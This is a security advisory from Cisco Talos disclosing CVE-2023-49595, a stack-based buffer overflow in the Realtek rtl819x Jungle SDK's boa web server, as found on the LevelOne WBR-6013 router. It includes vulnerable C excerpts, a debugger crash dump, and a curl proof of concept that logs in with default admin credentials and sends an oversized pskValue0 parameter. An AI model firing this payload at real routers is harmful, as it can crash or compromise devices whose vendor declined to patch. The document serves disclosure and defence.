Talos Vulnerability Report

TALOS-2023-1878

Realtek rtl819x Jungle SDK boa rollback_control_code stack-based buffer overflow vulnerability

July 8, 2024
CVE Number

CVE-2023-49595

SUMMARY

A stack-based buffer overflow vulnerability exists in the boa rollback_control_code functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of network requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - https://www.realtek.com/en/ WBR-6013 - https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

This Realtek rtl819x Jungle SDK vulnerability was found while researching the Levelone WBR-6013 router. We are going to explain this vulnerability from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is a Realtek’SDK that uses boa. One of the SDK’s API is /boafrm/formWlEncrypt. This API changes Wi-Fi configurations. Following the formWlEncrypt that handles the /boafrm/formWlEncrypt API:

void formWlEncrypt(request *wp, char *path, char *query)
{
    [...]
    char tmpBuf[MAX_MSG_BUFFER_SIZE]={0};


    [...]
    val = wpaHandler(wp, tmpBuf, wlan_idx);
    [...]
}

wlan_idx is a global variable that is by default 0. Eventually the formWlEncrypt function will call wpaHandler:

int wpaHandler(request *wp, char *tmpBuf, int wlan_id)
{
    [...]

    sprintf(varName, "method%d", wlan_id);
    strEncrypt = req_get_cstream_var(wp, varName, "");
    if (!strEncrypt[0]) {
        [...]
    }
    encrypt = strEncrypt[0] - '0';
    if (((2 < encrypt) && (encrypt != 4)) && (encrypt != 6)) {
        [...]
    }
    if (encryption < 2) {
        [...]
    }
    else{
        [...]
        sprintf(varName, "wpaAuth%d", wlan_id);
        strVal = req_get_cstream_var(wp, varName, "");
        if (strVal[0]) {
            if ( !strcmp(strVal, ("eap"))) {
                [...]
            }
            else if ( !strcmp(strVal, ("psk"))) {
                intVal = WPA_AUTH_PSK;
                getPSK = 1;
            }
            [...]
        }
        [...]
        if ( getPSK ) {
            [...]
            sprintf(varName, "pskFormat%d", wlan_id);
            strVal = req_get_cstream_var(wp, varName, "");
            if (!strVal[0]) {
                [...]
            }
            intVal = strVal[0] - '0';
            if (intVal != 0 && intVal != 1) {
                [...]
            }
            [...]
[1]         sprintf(varName, "pskValue%d", wlan_id);
            strVal = req_get_cstream_var(wp, varName, "");
[2]         rollback_control_code(strVal);
            [...]
        }
    }
}

This function will perform several checks and eventually reach [1], where it fetch the request’s parameter with a key equal to pskValue<wlan_id>. Then the corresponding value will be used as parameter for the rollback_control_code function called at [2]. Following the rollback_control_code function:

void rollback_control_code(char *buffer)
{
    char tmpBuf[200];
    int len=0, i=0;
    
    while(buffer[i])
    {
        if(memcmp(&buffer[i], "&quot;", 6)==0)
        {
            tmpBuf[len] = '"';
            len++;
            i +=6;
        }
        else if(memcmp(&buffer[i], "&#39;", 5)==0)
        {
            tmpBuf[len] = '\x27';
            len++;
            i +=5;
        }
        else if(memcmp(&buffer[i], "&#92;", 5)==0)
        {
            tmpBuf[len] = '\x5c';
            len++;
            i +=5;
        }
        else if(memcmp(&buffer[i], "&#60;", 5)==0)
        {
            tmpBuf[len] = '\x3c';
            len++;
            i +=5;
        }	
        else if(memcmp(&buffer[i], "&#62;", 5)==0)
        {
            tmpBuf[len] = '\x3e';
            len++;
            i +=5;
        }
        else if(memcmp(&buffer[i], "&#38;", 5)==0)
        {
            tmpBuf[len] = '\x26';
            len++;
            i +=5;
        }
        else
        {
[3]         tmpBuf[len] = buffer[i];
            i++;
            len++;
        }
    }
    tmpBuf[len] = '\0';
[4] strcpy(buffer, tmpBuf);
    
    return;	
}

This function will parse the provided string parameter and replace some URL decode sequences with the corresponding characters. The decoding is performed in a static stack buffer called tmpBuf. At [4] the result is copied back into the provided parameter. Because there are no checks about the length of the provided string, a buffer overflow can occur at [3]. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Crash Information

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────── registers ──────────────────────────────
$zero: 0x00000000  →  0x00000000
$at  : 0xfffffff8  →  0xfffffff8
$v0  : 0x004c02e8  →  0x41414141  →  0x41414141 ("AAAA"?)
$v1  : 0x004c0414  →  0x00414141  →  0x02ffff02  →  0x02ffff02
$a0  : 0x00000000  →  0x00000000
$a1  : 0x4080032c  →  0x00736b56  →  0x00736b56
$a2  : 0x00000005  →  0x00000005
$a3  : 0x3ff82ecc  →  0x00000049  →  0x00000049
$t0  : 0x3ff83200  →  0x00000000  →  0x00000000
$t1  : 0x00018000  →  0x00018000
$t2  : 0x41414141  →  0x41414141 ("AAAA"?)
$t3  : 0x41414141  →  0x41414141 ("AAAA"?)
$t4  : 0x41414141  →  0x41414141 ("AAAA"?)
$t5  : 0x41414141  →  0x41414141 ("AAAA"?)
$t6  : 0x41414141  →  0x41414141 ("AAAA"?)
$t7  : 0x004b0000  →  0x004b0000
$s0  : 0x41414141  →  0x41414141 ("AAAA"?)
$s1  : 0x41414141  →  0x41414141 ("AAAA"?)
$s2  : 0x41414141  →  0x41414141 ("AAAA"?)
$s3  : 0x41414141  →  0x41414141 ("AAAA"?)
$s4  : 0x41414141  →  0x41414141 ("AAAA"?)
$s5  : 0x41414141  →  0x41414141 ("AAAA"?)
$s6  : 0x41414141  →  0x41414141 ("AAAA"?)
$s7  : 0x41414141  →  0x41414141 ("AAAA"?)
$t8  : 0x004b5650  →  0x3ff44ff0  →  0x00801021  →  0x00801021
$t9  : 0x3ff44ff0  →  0x00801021  →  0x00801021
$k0  : 0x00000000  →  0x00000000
$k1  : 0x00000000  →  0x00000000
$s8  : 0x41414141  →  0x41414141 ("AAAA"?)
$pc  : 0x41414141  →  0x41414141 ("AAAA"?)
$sp  : 0x408002f0  →  0x41414141  →  0x41414141 ("AAAA"?)
$hi  : 0x00000000  →  0x00000000
$lo  : 0x00000000  →  0x00000000
$fir : 0x00739300  →  0x00739300
$ra  : 0x41414141  →  0x41414141 ("AAAA"?)
$gp  : 0x3ff875c0  →  0x6c5f636f  →  0x6c5f636f ("l_co"?)
────────────────────────────── stack ──────────────────────────────
0x408002f0│+0x0000: 0x41414141  →  0x41414141	 ← $sp
0x408002f4│+0x0004: 0x41414141  →  0x41414141
0x408002f8│+0x0008: 0x41414141  →  0x41414141
0x408002fc│+0x000c: 0x41414141  →  0x41414141
0x40800300│+0x0010: 0x41414141  →  0x41414141
0x40800304│+0x0014: 0x41414141  →  0x41414141
0x40800308│+0x0018: 0x41414141  →  0x41414141
0x4080030c│+0x001c: 0x41414141  →  0x41414141
────────────────────────────── code:mips:MIPS32 ──────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
────────────────────────────── threads ──────────────────────────────
[#0] Id 1, stopped 0x41414141 in ?? (), reason: SIGSEGV
────────────────────────────── trace ──────────────────────────────

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/wlsecurity.htm &>/dev/null

After this request it is possible to use the /boafrm/formWlEncrypt API:

curl -d "wpaAuth0=psk&method0=6&pskFormat0=0&pskValue0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formWlEncrypt

After the request the boa process will crash. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.